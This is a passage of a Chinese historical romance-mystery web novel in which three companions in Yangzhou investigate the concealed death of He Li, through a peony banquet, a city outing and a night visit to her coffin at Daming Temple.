“就那满园的芍药，看一眼竟要一两银子，魏家真是好算计。”去岁养病，李长凌才忍痛出重金与王琰一道去赏了那澹香园的芍药。 “你今年不会还惦记着罢？” “是还惦记着，”王琰在李长凌旁侧坐下，“但我们的芍药亦不比澹香园的差。对了，你猜的不错，上官语果真知晓不少。她亦有所惧。” “莫非亦是何家？”李长凌剑眉一拧，“何家是何来头，从前怎不闻此般好欺压？” “你二人常居于此，为何与这些人都不大相识？”在上京，各处结交必不可少，这对师兄妹竟独往至此。沈明淮很是不解。 “与师父师娘一齐住在山上，自然与他们不熟。”李长凌又道，“我去找贺扬州打听了些何家与那象姑馆的消息。” “是贺知州？”沈明淮只道民间对地方官员的亲切称呼是传闻，不想确有其事。 谈及名字，王琰旋与李长凌笑话他，将今日假报姓名一事细细说了一遍。 李长凌笑得直不起身，“沈一钱？要是让傅吉徵知晓，定来找你算帐，将他的乖徒弟带坏咯。” 王琰语重心长地辩解道：“行走江湖，那么老实可不行。” 大凡物不得其平则鸣。怀着对韩退之的敬重，沈明淮旋即奉行此旨，“我被揭穿，王娘子大抵也有责任。” “我？” 李长凌甚是了解他这个师妹，拍拍王琰的肩，“这可不能怪阿潆。要是我在，定笑得比她还大声。” “我没笑出声。”王琰将他按回位置上，“麦子与我说，城内知晓何家娘子逝世的人少之又少，连平日伺候的婢女亦被斥逐出府，不知所踪。贺扬州还与你说什么了？” 何家在扬州是出了名的尊崇儒道，何郦这般行事，却未被逐出家门，一直为城内人猜度。无人敢娶，她亦不想嫁，竟在何家安稳度过了近十年光景。 据传何郦点过的男伶无数，但最后只要梦殊一人。这点，王琰亦略有耳闻。李长凌以为，就凭梦殊的长相与嗓子，此事不足为奇。 王琰斟酌片刻，谨慎说道：“会不会他们之间不止是……云雨之欢。” 思及上回李长凌以迅雷不及掩耳之势捂住她的嘴，故而最后四字，微若蚊蚁。她本不觉有什么，沈明淮却莫名其妙地瞧了她一眼。这下两人都不自在起来。 李长凌诡谲地看着沈明淮，“你不会……？” 沈明淮咳了两声，“我年未弱冠。” 李长凌欣慰道：“纯洁无暇，仍是孩童啊。” 王琰瞪他一眼，“别打岔，我的意思是，他们可能是有情意的。” 李长凌只道她不懂，一个男伶，一个风流娘子，任谁看都是交易，谈何情意。 王琰却不认同，就是任谁看他们之间都是交易，故而连当事人可能都不自知。众人皆知梦殊只接过何郦一个客，其余皆是卖艺不卖身。 李长凌仍旧不依，“可能是何娘子给的实在太多？” 沈明淮已领会王琰的意思，“梦殊在西郊坟地苦寻一个月，此是他证；何郦将密友带去象姑馆，此为她证。” “还是小孩的脑子好使。”李长凌接着道，“既如此，上官语也应知他们动了真情，又怎会认为是梦殊害死了何郦呢？” 沈明淮纠正他，“她可从未说过。” “还不知她为何对梦殊有敌意，如今她是问题的突破口，”王琰提议，“我们需再会会她。” 又过一日，麦子已将上官语的情况大致说完了，沈明淮才迟迟赶到临江仙。 上官伯为本地富商，却觉商贾地位低贱，一直企图攀获尊位。家中五个女儿，上官语四个姐姐都嫁给了大大小小的州官，上官伯极不赞成她与祝尧来往。实则上官家的经营买卖，全都仰仗祝家。 李长凌奇道：“还有这层关系。” “不仅如此，”王琰继续道，“上官语与魏家原订有娃娃亲，不幸的是，魏家五公子，四个月前去世了。” 沈明淮记起她提过的那三名逝者，“那个死因不明的魏五公子？” 李长凌后来又找贺帆打听过其余两名逝者，据传魏五公子死于羸疾，去岁身子就大不如前。魏家不想他泉下受苦，故未写明死因。 王琰方知此间缘由，“羸疾？” 沈明淮淡声道：“想来是知晓魏五公子命不久矣，故而早为自己铺好后路。” 王琰一瞬被沈明淮点醒，“她深知魏五公子不是良配，一年前便认识了祝尧。” 李长凌起了一身鸡皮疙瘩，“越说越瘆得慌。或许是上官语与那魏家公子毫无感情，后来又遇到自己喜欢的男子，与之相交，合情合理。” 王琰灵机一动，“若是促成上官语与祝尧，不就是在帮她？”静心的下落还不是她一句话的事。 麦子忽来报，“二东家，一位姓祝的公子找。” 祝尧蔫蔫儿地走进厢房，“诸位都在……” 李长凌忙问：“发生何事了？” 祝尧面带苦涩， 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祝尧还未说尽，“我不希望以势压人，祝家是祝家，我是我，我希望上官她爹认可的是我，认可的是行商坐贾这群人，并不因无官无职就低人一等——亦希望他往后别再拿儿女婚事当作攀升的捷途。” 王琰怎么也不会想到，这番话竟会从这位出身巨贾的公子口中说出。 李长凌亦是刮目相看，拍他一把，“说得好！” 祝尧拿开李长凌的手，“你们在寻何郦？” 上官语闭府不出，说不定祝尧知晓些什么。王琰遂将何家隐瞒何郦之死一事告知，希望从上官语处知晓一些此事的细节。 沈明淮一直留意着祝尧的神态，漫不经心地接了句，“她亦因此被何家威胁。” 祝尧顿时骇然，“威胁？！” 王琰告知祝尧他们的难处，“我们现下还不知具体情况，但她现下抱疾，想来也是在躲何家的人。何家人知晓我们在替梦殊寻何娘子。” 祝尧愁道：“那可如何是好……” 沈明淮忽言：“近日有一场宴会。” 李长凌茫然道：“近来没听说有什么宴会啊。” “宴帖今日便会送到，此宴还须二东家相助。” 皦日高挂，明明无风，却搅得人心神不宁。王琰从沈明淮眼中，第一次真切地看到了那堵逃而不得的高墙。 两日后沈明淮在澹香园邀百家共赏芍药的消息一出，全扬州城暗流涌动。士农工商，一视同仁，收到宴帖的人不少。主宴者以卫王谋士身份发帖，落印是定国公的螭纹玉章，这其中意思，受邀者可有得猜了。 王琰在二层瞧着，有掌柜的清点菜式，届时一切都将井井有条，自然也没她什么事了。现下本应在澹香园赏花的李长凌却站在她身侧。 “不去？那这身青色大金鱼褙子和锦缎紫裙，岂不可惜。” 王琰无言，是霁青底金鱼水藻纹褙子与紫蒲色百迭裙。为此她还梳了发髻。 20. 摸澹香园 “穿了又不想去了。你、我，还有底下那行菜、铛头、客人，怎算可惜。” 李长凌俯身撑在栏上，“也是。既你不去，我亦不去了。” “为何在这里陪我？你不也喜欢得紧。”王琰的目光落不到楼下任何一人的身上，实在不知该放在何处了，只好转头瞧了瞧李长凌。 “是啊，你可比我还喜欢。是不想去，还是不该去？” 李长凌的话使她心弦一颤。 “我虽不赞成你二人有过多瓜葛，但你今日赴宴只是尽二东家的本分，不代表你父亲与王家，只是你自己。” 虽非从小一齐长大，且是名义上的表兄长，却不知他与王桢谁更了解她。 “我已听闻，明月楼的人也会去。我们——” 王琰旋即拉着李长凌往楼下跑，“可不能被比下去！” 他们还是来迟了，赶到澹香园之时，众人已从花园移步席上。赴宴之人陆续坐下，那堇衣娘子一进门，王琰便瞧见了。 沈明淮今日一身浅云色鹤鹿同春纹锦袍，与贺帆并肩而行。此人举手投足间的从容，与沉浮官场近十年的知州相比，竟是一点不输。 王琰从未觉得他如此适合为官，仿佛生来便是要到那官场去的。这样的人，却想着逃。那日他言自己无权选择，其实，他早逃不掉了罢。他与她，终不会是一路人。 不比上京有四司六局操办大小宴会的各种事宜，沈明淮那日所托只是宴会的桌椅陈设、吃食下酒一类，全扬州城除了临江仙便是明月楼。 这次赏花宴赚的不只是万贯之财，更是自家酒楼在这扬州城的名声。王琰怎可让此等机会平白落入明月楼之手，况且宴客之地不在临江仙，只那些个好事者才会那般想了。 开席后，沈明淮酬酢不止，身边多站着本地富商与些许权贵。尚未及冠的年青公子始终浮着温和的笑意，但立于人群之中，那股仿佛与生俱来的运筹帷幄之能，为他平添了几分威慑力。 既以“赏花”为名，则算不上多正式，除了首席与上位的酬对，多是持着酒杯随意走动的人。 王琰坐于末席，敬过贺帆，顺道敬了沈明淮，随后向上官语走去，并不知那身后人目光追随了几次。鲜有人知晓她的身份，本欲低调行事，却忘了她是与这扬州城的名人一块来的。 一束着玉冠的锦衣男子拦住了她的去路，“这位娘子未曾见过，不知可否赏脸，让在下敬娘子一杯？” “表兄，别跟她客气，这就是我与你说的，那位临江仙的二东家。”谢昱碰了魏纶的杯后一饮而尽。 “娘子便是临江仙二东家？那与李少侠是——”魏纶旋在席上寻李长凌的身影。 “李少侠是她表兄——王琰，看来你还是懂些礼节的。这身又是上哪儿找裁缝连夜赶制的？”谢昱竟是一眼便瞧出，这件衣裳非扬州城内所制。 魏纶只道他与王琰是生意上的死对头，不料相熟至此。谢昱告知他王琰是户部尚书之女，正想问她父母兄长何在，却已不见其踪影，杨景哲倒端着杯来了。 “谢昱，你找谁呢？” “我能找谁？喝酒喝酒。” 谢昱揽着杨景哲往花园去，魏繻不知何时脱了身，寻魏纶而来。 “三哥觉着，那王琰如何？” 魏纶细细看了他这个五妹妹一眼，“她爹可是户部尚书，你三哥我再怎么优秀，这门亲也难结。” 魏繻半阖下眼，“三哥休要白日做梦了。我问的不是这个。” “那你是——”魏纶这才注意到，魏繻的视线所及，是那主宴之人。 “沈家门楣比王家还高，五妹休要白日做梦了。” 魏繻丝毫不退缩，“我可为侧室，三哥甘愿做赘婿么？” “呸！”魏纶急眼，“好男儿绝不会沾上‘赘婿’二字！” 魏繻瞥了他一眼，“低声些。嫁入定国公府，就算是侧室，亦是大姐比不了的。” 魏纶纳闷道：“你与大姐姐从小比到大，都身为魏家娘子，到底有什么可比的？” “是我要比么？”魏繻沉声道，“这世道我若不争，又怎会有立足之地。三哥身为男子，自不会懂。” 说罢，两人不欢而散，各自回席。同时，有两人则从另一侧悄然离席。 “若非妹妹支走你那侍儿，我还没法儿与妹妹说上一句话。”王琰亲近道。 上官语不冷不热地任她挽着，“若非知州出席，我亦无机会见到王娘子。” “‘王娘子’唤得生分了。”王琰假意嗔她，旋又展颜，“你我便以姐妹相称，可好？” “王娘子是上京的贵人，妹妹怕是不敢随意攀附。”上官语见四下无人，便止了步子。 “家父不过在上京谋有一官半职，可不敢称是贵人。那宫里住着的才是。”王琰一人登了阶，向着那亭子去，“放心，她一时半会回不来。此处我亦第一次来，何不上来瞧瞧？” 上官语慢步登亭，此处果真能俯视整座花园。红灯烁烁，绿叶如盘，沁鼻之香绕了满园。遇此景，亦如韩退之自问“身在仙宫第几重”。 “好在我们这儿倒是清静，不似魏娘子那儿，有些太热闹了。” 王琰本是不认识那魏繻的，谁知第一个给她敬酒的人竟是她。 上官语瞧也未瞧一眼，“魏娘子为人随和，人缘自是很好。” 王琰循着她的视线望去，不出意外地看到了祝尧，“我倒觉着朋友太多未必是好事，虚情假意者占多数。若只一个，能够交付真心，一个亦足矣。” 今日的上官语比前两回见的都规矩许多。 “姐姐倒是看得通透。” 王琰又将目光落回魏繻身上，“鸿鹄围绕，莺燕成群，真让我们这些小麻雀羡慕。”就是这红蕖好似意不在此。 上官语今日第一次正脸瞧她，神情却极为疏远，“姐姐何必自贬身价，那些人难论真心。” 王琰像是要将那群人盯出个洞来，“是啊。无非是看重她的家世，或是她的美貌，又或是二者兼有。所有人都一样。生病时嘘寒问暖一句，若日后突逢变故，怕是跑得 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上官语未再说魏繻，只问：“你为何要帮他？” “因他想再见爱的人一面。” 上官语收尽客套，冷斥一声，“爱？不过是个伶人。” 王琰本以为以情动人，会容易些。现下她与梦殊在一条船上，无论如何都应帮衬一二，“或许你们有误会。” “误会？姐姐对他的好，他可曾记着半分？！要不是他——”上官语却就此止住了话头，问起另一件事，她以为王琰帮他，是收了他的好处。 “他未给任何好处，我们只是怀疑何娘子的死有蹊跷。”王琰捡了一半实话告诉她。 上官语猛然瞪向她，欲言又止。 王琰扼住她的手腕，“你亦发觉了？！” 上官语绞着衣袖，最终松口，“我且信你们一次。后日，大明寺浴佛斋会，晚上我会在附近宿下。你们要悄悄地来。” 王琰替她理了理衣裳，“那是自然。” 上官语快步回到席上，王琰则转身去了花园。方走出几步便见祝尧杵在那儿，专门等她似的。 “放心，没病。” 祝尧长吁一口气，“多谢。” “谢什么？客气了啊。”王琰逗趣道，“往后多来造福临江仙便好。” 祝尧很是爽快，“好！对了，你与那魏娘子相熟么？” “今日第一次见，怎么了？”王琰愈发糊涂了，方才上官语那话究竟是何意。 二人一齐往芍药丛走，祝尧不经意道：“没怎么。就是方才她来问你与我的关系，又去问了上官，可能是想与你交朋友罢。” “与我交朋友？”王琰回忆起刚才魏繻来打招呼，满是对她的好奇与打量，却不觉有亲近之意。 祝尧忽定住步子，嘀咕道：“那不是杨宪使吗？他向来不参与这样的宴席，今儿竟也来了。” 王琰往沈明淮那处望去，只见他屹然而立的背影，还有一娘子伸手搭在他的胳膊上。 21. 讹财 “明淮！” 一身着花青色宽袍的男子举着酒盏走来。 沈明淮作了个深揖，“杨伯伯。” “实在是公务缠身故而来迟了，我自罚一杯。你父亲可还好？” 沈明淮又换上长辈皆喜的乖巧模样，“杨伯伯能来，明淮甚是感激。劳杨伯伯挂念，家父一切都好。” 杨介舟小心询问一声，“那事儿摆平了？” 沈明淮遂改口，“身体尚好。” 一男一女随之而来，杨介舟旋介绍道：“犬子景哲，小女绮婴。你二人也不知先来与明淮打声招呼。” “沈公子。”“沈兄。” “杨公子，杨娘子。” 杨介舟又感慨起来，“自我外任起，便未再见过你父亲。如今也有十年了罢？明淮都成了独当一面的七尺男儿。可比我那几个竖子争气得多，还是鼎臣教得好啊。” 沈明淮又提了提嘴角，“杨伯伯过誉了。” “爹，明淮顶多五尺七寸，七尺得是巨人。” “没学识就不要在这里丢人现眼，你学堂才去了几日？”杨介舟看着很是嫌弃他这儿子。 “嗳，不说这个。”杨景哲这人当真自来熟，“明淮年纪轻轻便如此了得，我杨景哲交定你这个朋友了。再算阿姐一个，所谓‘三人行必有我师’，日后你便是我二人的老师。” 杨介舟碍于人多，忍下未动手，“他长你三岁，你该称呼兄长。我杨家怎么就出了你这么个不肖子？” 杨景哲颇不认可这话，“爹，我可比兄长们有出息多了。” 杨介舟赔笑道：“明淮莫见怪，他从小就这般没规矩。” 沈明淮表示理解，规矩时隐时现的人，他见多了，何况这个没规矩得如此平常。遂客套一番，“杨公子乃性情中人，并非坏事。” 杨景哲一下挺直腰板，颐指气使地说道：“爹你听听，明淮兄可比您开明得多。” “景哲，现下不是在府中，该有的规矩还是要守。”杨绮婴代他惭愧道，“沈公子，见笑。” 杨景哲啧啧称奇，“一个见怪，一个见笑，又不是在京城，那么拘着作甚？明淮兄怎是那种拘小节之人？” 杨介舟拉开杨景哲，转又问起，“此番预备在扬州停留多久？府中可随时欢迎啊！别觉着叨扰。” 沈明淮回道：“眼下还不知，若有机会，明淮定登门拜访。” 杨景哲抬手抓住沈明淮臂肘，“明淮兄不必客气，你住何处，我与阿姐去找你也是一样。” 杨绮婴随即将他的手拍下，“好端端的，怎又拉上我？” 杨景哲旋向沈明淮解释，“阿姐没有厌恶你的意思。” 杨绮婴唇角一扯，很是无奈地看了杨景哲一眼。 沈明淮今日笑得格外温和，“我住城东那家客店，若杨公子想来，明淮扫榻相迎。” “好！”杨景哲也不知哪来的热情，非去不可，“你不去，我去。待沈夫子教授几日，我定比你厉害。” 宴席散尽，待无尽的所有酬应结束，沈明淮寻遍满园，也不见那个人。 “李少侠与王娘子——” 应冥旋道：“李少侠早已不见踪影，王娘子方才亦回去了，托我告知公子，后日大明寺浴佛斋会。” 华信不知从何处蹿出来，“终是松口了，我见她二人在那亭子上聊了许久。公子亦是酬酢不止，那些商人个个能说会道，一场芍药宴光顾着喝水了，公子定是饿了罢？我去寻些吃食。” 华信方要出去，迎面碰见临江仙的小跑堂走来。 “二东家见公子宴席上近未动筷，让我送些吃食来。不是什么美馔，公子担待着些。” 麦子提着两个食盒，里头装着热乎的蝴蝶面、黄芽菜煨火腿、珍珠团和软香糕。 “有劳。” 应冥和华信忿忿回客店点了一桌子的菜。沈明淮将两个食盒提回房，吃得一点不剩，又书信两封，方才沐浴就寝。 不料次日天方擦亮，一袭窃蓝宽袍的沈明淮方迈出客店的门，就与杨景哲打了个照面。 “明淮兄，好巧！” “杨公子这般早。” 眼皮不自觉跳了跳，沈明淮正要往前走，来迟数步的杨绮婴迎面而来，道了万福。 杨景哲奚落道：“阿姐怎么这样慢，让明淮兄与我好等。” 沈明淮属实没想到她也会来，“二位专程来客店寻我，有心了。” 杨绮婴生怕杨景哲说错话，抢着答道：“景哲担心公子作为外乡人，找不准地道的扬州吃食，便想与公子同去早市。景哲不识路，绮婴只得领他出府。” 沈明淮干笑一声，“杨公子。” “唤我景哲就行。”杨景哲已搭上他肩膀，“明淮兄，我带你去吃咱扬州城最美味的早点！” “梅姨，一份梅花汤饼！” 一着碧落色衣裙的小娘子立于小摊前。 杨景哲撇下二人快步走上去，指着王琰，结结巴巴道：“你你你你，就是你！” 王琰只觉莫名其妙，并未搭理，捧着她的汤饼在旁坐下。 “上次斗蛐蛐，就是你一脚将我的蛐蛐踩死了！” 王琰一脸茫然，“何时的事？” “就好几个月前，眼看就要赢了，那个翡翠玉瓶……本公子已胜券在握，要不是你！”杨景哲那是一个悲愤交加。 只道是哪儿来的疯子，见人便咬。王琰头也未抬，轻轻道了声，“真对不住。” “我不管，你赔我。” 王琰不耐烦地抬起头，才发现还有两人站于杨景哲身后。是昨日那娘子，亦是个美人。她的目光在二人之间流转，又自顾自低头喝汤。 “你这么缺银子？瞧我富贵，便来讹财？” 杨景哲突然被呛，更为不快，“你骂谁呢？你——” 也不知他接下来想说些什么，反正是没机会听到了。王琰耳边一瞬清静。 杨景哲被杨绮婴捂住嘴，拉到摊前要了三碗梅花汤饼。 “你上街斗蛐蛐还不够丢人现眼的，现下又是在做什么？”杨绮婴低声训斥道。 沈明淮端着汤饼，自然而然地坐在王琰身边，“昨日，多谢。” 王琰头埋在碗里，不清不楚地应了句。 杨景哲一副见鬼似的神情，在王琰对面坐下，“明淮兄，你认识她？” “至交。” 王琰的手险些没捧稳，所幸汤饼未洒出来。 杨景哲大愕，如遭雷击，“至交 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初夏清和，迤逦莺啼，残花败柳犹言春，榴花满院，寒热皆不嫌。太阳渐渐破云而出，暖烘烘地拥着扬州城。护城河里，乌篷船争先恐后靠岸，挑着扁担吆喝的小贩络绎不绝。 “杨家绮婴，”杨绮婴与王琰走在后头，“还不知娘子如何称呼。” “唤我文璇便好。” “绮婴斗胆猜测一下，我们该是同岁，今岁十六。” 王琰笑着应和，“是了。” 杨绮婴喜道：“竟真是，倒也有缘。文璇亦从上京来的罢。早听闻临江仙的东家姓王，且是上京人家。文璇现下可是在临江仙主事？昨日的衣裳很衬你。” 经昨日一宴，想来扬州高门内无人不知她就是户部那王甫直的女儿。她是临江仙二东家一事，众人亦心知肚明，再想隐瞒，怕是不行了。 “如此，我昨日的衣裳也算没白穿。为有个东家的样子，特地裁的新衣。” “原是这般？”杨绮婴被她逗乐，转又说起临江仙的经营，“王尚书开明，文璇这般年纪，就在外历练了。” 王琰客气道：“兄长才是这酒楼的大东家，我就是做做样子。父亲觉着我太不安分，找些正经事做，也是好的。” “父亲教诲，自有道理。我们这些做子女的，听就是了。” 前边二人在桥边停下，正巧听去几句。 “文璇，你父亲真够严苛的，”杨景哲道，“虽然你不安分是事实，好比一脚踩死我的蛐蛐，但让你到临江仙管事，也太狠了点。” 杨绮婴旋即与他争辩，“借此磨炼心性有何不好？你以为人人都与你一般。” 杨景哲叉腰弓背，势与她抗争到底，“阿姐，你一日日净端着，像我一样，活得自在些，不好吗？” “自在？”杨绮婴站定，直盯着他，“这叫不成体统。” 王琰嘴角仍旧弯着，眉眼却已浸上冷意，“杨公子，我们今日方才相识，还是互相客气些的好。” 杨景哲正要发作，沈明淮高声问了一句，“前面那是什么桥？” “开明桥。”两名娘子异口同声道。 22. 共游扬州 王琰咬住舌头默默扭头，杨绮婴往前边看去，“走过开明桥，便是延庆坊了。” 杨景哲果真不再揪着，兴奋道：“走走走，那边有趣的玩意儿可多了。” 过了桥，杨景哲就指着饮子铺前的一方空地，大声嚷嚷，“就是这儿！你就是在这将我的蛐蛐踩死了！” 饮子铺是有些眼熟。那日，王琰正往香料铺去，腰间玉坠忽被人抢走，着急擒贼，也不知道踩了个什么，接连两声脆响，原来是他的蛐蛐。 “真对不住，意外。” 杨景哲马上跳起来，“好哇！你总算记起来了！什么玉坠，这不是好好在你腰间挂着吗？”又定睛一瞧，“羊脂白玉？！你将这玉佩赔给我，本公子便不计较了。” 王琰还未有所反应，沈明淮倒迅速拒绝了杨景哲的无理要求，“文璇并非有意为之，何故这般纠缠？” “听见了？沈公子说，不行。” 杨景哲忿忿道：“为什么不行？我那翡翠玉瓶，可值你两个环佩！” 沈明淮拿话按住他，“拿一件未发生之事讨要损失，恐怕不妥。” 杨绮婴教导道：“景哲，再怎么不济，理应讲。死缠烂打，非君子所为。” “我说不过二位夫子。” 宛若大圣的紧箍咒愈箍愈紧。杨景哲对二人避之不及，更不想与王琰呆在一块。见桥边芍药开得正盛，蹒跚到花前，屈身叹道：“念桥边红药，年年知为谁生？” “哥哥，这句诗不是这么用的。”一梳着双丫髻的女童认真地纠正他，“白石道人正是亲眼所见战后的萧条之景，忆起往昔繁华，才写下这悲叹之句。如今乃太平之世，何故哀吟？” “红药，怎么跑这儿来了？对不住，小女信口胡说，莫放在心上。”妇人揽过孩子鞠躬道歉后，快步离开了。 王琰定定地瞧着那片芍药，喃喃念道：“太平之世。” “希望那孩子将来不会被‘娘子’二字束缚住。”杨绮婴亦盯着某处出了神。 沈明淮从红药消失的地方收回视线，只见杨景哲蹲在地上嚎啕大哭。 “我……我竟不如一个九岁的孩子……呜呜……这些年的学堂白上了……呜呜呜……还不如回家去……不让夫子心烦……” 一把鼻涕一把泪的忏悔，真是将在场之人都吓了一跳。 沈明淮与王琰转过身挥退围观的过路人，杨绮婴安慰道：“来扬州后你去学堂的次数才多了些，如此算来，总共就学了两年，那孩子至少读了五年书了，你往后认真些，定可赶上。” 杨景哲止了哭声，“阿姐，你不是唬我罢？” “阿姐何时唬过你？”杨绮婴将帕子递给他，“快将脸擦擦。” 杨景哲擦过脸起身，誓言今后一定好好读书，不再偏废。又一瞬将与王琰的恩怨抛在脑后，劝她，“你不若与我一齐到学堂读书罢。” 王琰瞪圆了眼，“我吗？” 杨景哲忽地佛光乍现，苦口婆心劝起来，“是啊，一看你就知打打杀杀，没读过什么书罢？他二位满腹经纶，我们不学无术的应当改过自新，重新做人才是。” 王琰背着手嘻笑，“我这样的人便不读书了，杨公子好好上学堂便是。” “那怎么行啊。多一个方才那样的孩子，我大越的未来便添一分希望。女子一般不入学堂，你扮作男子就是，我瞧应该不难。” 王琰似笑非笑地向前几步，手繤紧握成拳。 “待会儿！你是王琰？”杨景哲想指又不敢指，“你就是让谢昱闻风丧胆的那个王琰？！” 王琰眉眼弯弯道：“是我，怎么了？” 杨景哲旋弯腰拱手，“小弟有眼无珠，冒犯了女侠，还请女侠恕罪！我就不在这碍您的眼了。”说完踩着风火轮似的跑了。 “二位失陪。”杨绮婴干笑两声，往杨景哲的方向追去，又小声念了句，“又发什么疯。” 杨家姊弟离去，只剩她二人，游扬州的担子又落回王琰肩上。继续往前走，路过一个又一个铺子，沈明淮都不曾说一句话。 王琰拿起一支短笛后放下，瞥他一眼，拿起另一支簪子，又放下，将这货郎的东西都瞧了个遍。感到货郎幽怨的目光，才随意买了只竹蚂蚱。 “你既不感兴趣，那便回罢。” 王琰就要往万春院的方向走，沈明淮亦跟了上来。 “原来你待人就这般。” 王琰扭头只见一脸的不满，现下倒喜愠形于色，不叫人猜了。 “哪般？莫名其妙。”王琰继续向前走。 沈明淮又淡淡吐出一句，“故而你冤家这样多。” 王琰站定回头，冷声道：“我如何待人处事，冤家多少，与你何干？” 沈明淮却盯着她的手，不解地问：“你为何不握拳了？” 王琰转怒为笑，“你莫不是想让我揍你？” 沈明淮忆起什么似的，又喃喃自嘲一声，“打了未必会有好结果。” 那年放榜之日，沈鼎臣方结束游街，被韩氏误认作歹人，无故接下一巴掌，却不想缘因此而起。后来呢？结果如何，他不是最清楚了吗。竟一时糊涂至此。 “打人怎会有好结果？”王琰愈发不解，手下意识触上他的额头，“你没事罢？” 沈明淮回神，借力将她拉近，垂眸看着一脸慌乱的王琰，“你瞧瞧，傻了么？” 心在又不听使唤地胡乱跳动，耳尖迅速裹上一层羞红。王琰赶忙移开视线，越过他往前走。 沈明淮轻笑一声，竟也带了些狡黠，转身跟上去。 李长凌忽地出现，见她二人在一处也不诧异，上前便将王琰勾走，对沈明淮摆摆手。 “去贺府瞧瞧小贺。” 王琰停下回头，沈明淮一动不动站在原地，瞧着一副可怜模样。为何会有一股罪恶感……跑回去将竹蚂蚱交与他，正要开口，不知何处刮来的风，将暮春拉回了冬末。 “勿要忘了你我的合作。” 王琰怔了片刻，方才勾起一抹笑，“沈公子亦该表示表示诚意了罢？上京——” 沈明淮生硬地打断她，“很快便会有消息。” 王琰向李长凌走去，笑意骤敛，“希望是好消息。” 沈明淮往回走，不想在开明桥又遇上了杨景哲二人。 杨景哲双手遮在眉上， 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“明淮兄好不容易来一趟，不得带点什么回去。” 沈明淮眸光落在竹笛上许久，“物什看得见、摸得着，却放不进心里。这个能记得牢些。” 杨绮婴未推辞，“不敢妄言是扬州之最，却也还算拿得出手。沈公子若真想学，暇时到杨府寻我就是。” 沈明淮在杨景哲狐疑的目光中应下，“有劳杨娘子，沈某改日定去拜访。” 天光大好，一辆马车驾着出了城，直往郊外西北方的大明寺而去。 前往大明寺参加浴佛斋会的人不少，王琰与李长凌混迹在信众中，有幸尝了尝这“浴佛水”，实则就是熬制的香药糖水。二人学着人群里的上官语念经、吃斋，始终保持着相对远的距离。直到随信众去放生时，才瞧见沈明淮的身影。 李长凌走近，低声问道：“可有静心的踪迹？” 沈明淮亦放轻声音，“四个月前，天竺佛教确曾与玄弘方丈论佛，不过全寺无人见过静心。” 王琰对这套说辞不大相信，“他潜心此道，竟不曾来过？” 沈明淮的视线始终紧随人群，“上官娘子亦归诚此道，她可能见过静心。” 王琰终于又在信众中找到上官语，她与僧人正在谈着什么。 “她一定见过。” 与众人一齐来到河边，洒水诵经，拈香授法，鱼儿慌慌忙忙地落入河中，念罢“尽此一报身，同生极乐国”，仪式才算结束。众人往回走不免拥挤，上官语不动声色给王琰递去一小卷草纸，后快步离去。 已近日暮，倦鸟归林，三人到客栈住下，草草用过晚膳，便各自回到房中候着子时降临。梦殊只午时与李长凌打过照面，后不知其踪。夜色沉下来，人声散尽，天地方归万物。 上官语待婢女熟睡，悄然出门。闻声，隔了半刻，王琰亦静声出了客栈。李长凌、沈明淮紧随其后。 三人与上官语碰面，梦殊踩着月光而来，急问：“她在何处？” 上官语拧着细眉，质问王琰，“他怎么也来了？” 23. 何家冤案（一） 梦殊忙道：“我已跟踪她数日，自然知晓你已将郦娘之事告知她。” 上官语丝毫不留情面，斥道：“你还有脸见她？她被关在府里这么久，你可曾去寻过？” 梦殊急走上前，“我怎么没去过？自从她不与我来往，我隔一日便去一次，她难道不知？” 何府当真将此事瞒下，若非那日她凑巧见梦殊被护卫赶走，她亦与何郦一样，被蒙在鼓中。 上官语再次怒斥道：“若非那日你与她争吵，她如今又怎会躺在这里？！” 王琰三人相视一眼，梦殊果真有所隐瞒。 梦殊一脸痛苦地开口：“那日是我不对。听闻她与那古家公子的婚事，我一时昏头，吼了她两句，她就再也不来了。我就是那么下贱……” 上官语忍住泪，甩袖往前走。 “何家将郦姐姐丢在乱葬岗，我不忍她长眠也没个安睡之处，便雇人将她安放在大明寺旁。至少……还有佛祖的庇佑。” “他们竟真将她丢在乱葬岗……”梦殊攥紧了衣袖，指尖发颤。 李长凌不由蹙额，“连死后的尊严都不顾，当真是亲生父母？” 上官语苦道：“如今何家的大娘子，非郦姐姐生母，她的生母已于九年前逝世。何家主母……待她不好。” 众人一时无言，空余叹息。走出不甚透光的树林，前方月色充盈之处，安放着一个棺椁。 “背卧青山，臂揽流水，远离是非，她会幸福的。” 沈明淮的话音散作月光，舒缓地落在方走出暗处之人的身上。 “我只买了金丝楠木，让她的尸身慢腐。本想风声过去后再下葬立碑，奈何何家却一直紧盯着……”月色又化作一碗药入喉，上官语唇齿皆苦涩。 梦殊木讷地走过去，跪在棺椁前哀哀乞求，“我能否再见她一面，最后一面……” 上官语虽不大情愿，却也还是答应了。楠木棺重，五人合力才勉强将棺盖挪开。 月光倾注而下，何郦阖眼躺于棺内。梦殊顷刻泪打青衫。自四月前封棺，上官语亦未再见过，掩面背身，抽泣而立。 难闻的异味扑面而来，王琰第一次对“死亡”二字有清晰的认知。原就这样近，这样平常。某一日大限乘风而来，人便此般化风而去。王琰不忍再看，便退回李长凌身边。 李长凌素来刀尖舔血，生死博弈刹那不停，早就见识多了，知她还未体悟生命无常，只轻抚她的背，无声地宽慰。王琰攥紧李长凌的衣角，以此换得所爱之人犹生的安心。 上官语拭去泪水，从怀中取出一封书信，交与梦殊。 “我本不想依她意将此信与你，但你二人的事，终究该由你二人解决。” 梦殊颤颤巍巍地接过，就着月光打开。 「平郎，郦儿要失约了。我曾言遇到你之后，终于找回了阿娘还在时，那个还似何郦的小娘子。尽管你不知所生，来时路走得艰难了些，但日后有我，定不会让你再孤身一人。近日我才发现，何郦回不去了，自从阿娘离世的那刻起，何郦再不是我。古家的婚约非我所愿，今已解除。那日动手，我虽悔，却没有机会再亲口与你道歉。我从未怪过你，但我亦从未原谅过自己。日后你要多往大明寺去，替我瞧瞧那个孩子，也别想着接他出来，就让他好好当个小和尚，在寺里平平安安长大。此信一别，不复相见。勿念。」 新的泪迹在纸上晕开，层层叠叠如涟漪。梦殊扶在棺椁旁，泣不成声。 “她说她从未怪过我……却从未……原谅她自己……” “怎么那么傻！怎么那么傻！” 王琰已瞧不明白这一个“情”字。 梦殊忽地站起来，抓着上官语问：“孩子呢？孩子是怎么回事！” “姐姐告知你了？” 梦殊将信拿与上官语看，还未瞧完，又泪流不止。 “孩子……没了……姐姐自缢……孩子随她而去……” “自缢？！”梦殊不敢相信，趴在棺椁边仔仔细细地看，“不可能……绝不可能……郦娘怎会自缢！” 上官语渐渐平复心绪，“我亦不信，姐姐这般豁达的人，怎会……做法事那日，我请教过法师。” 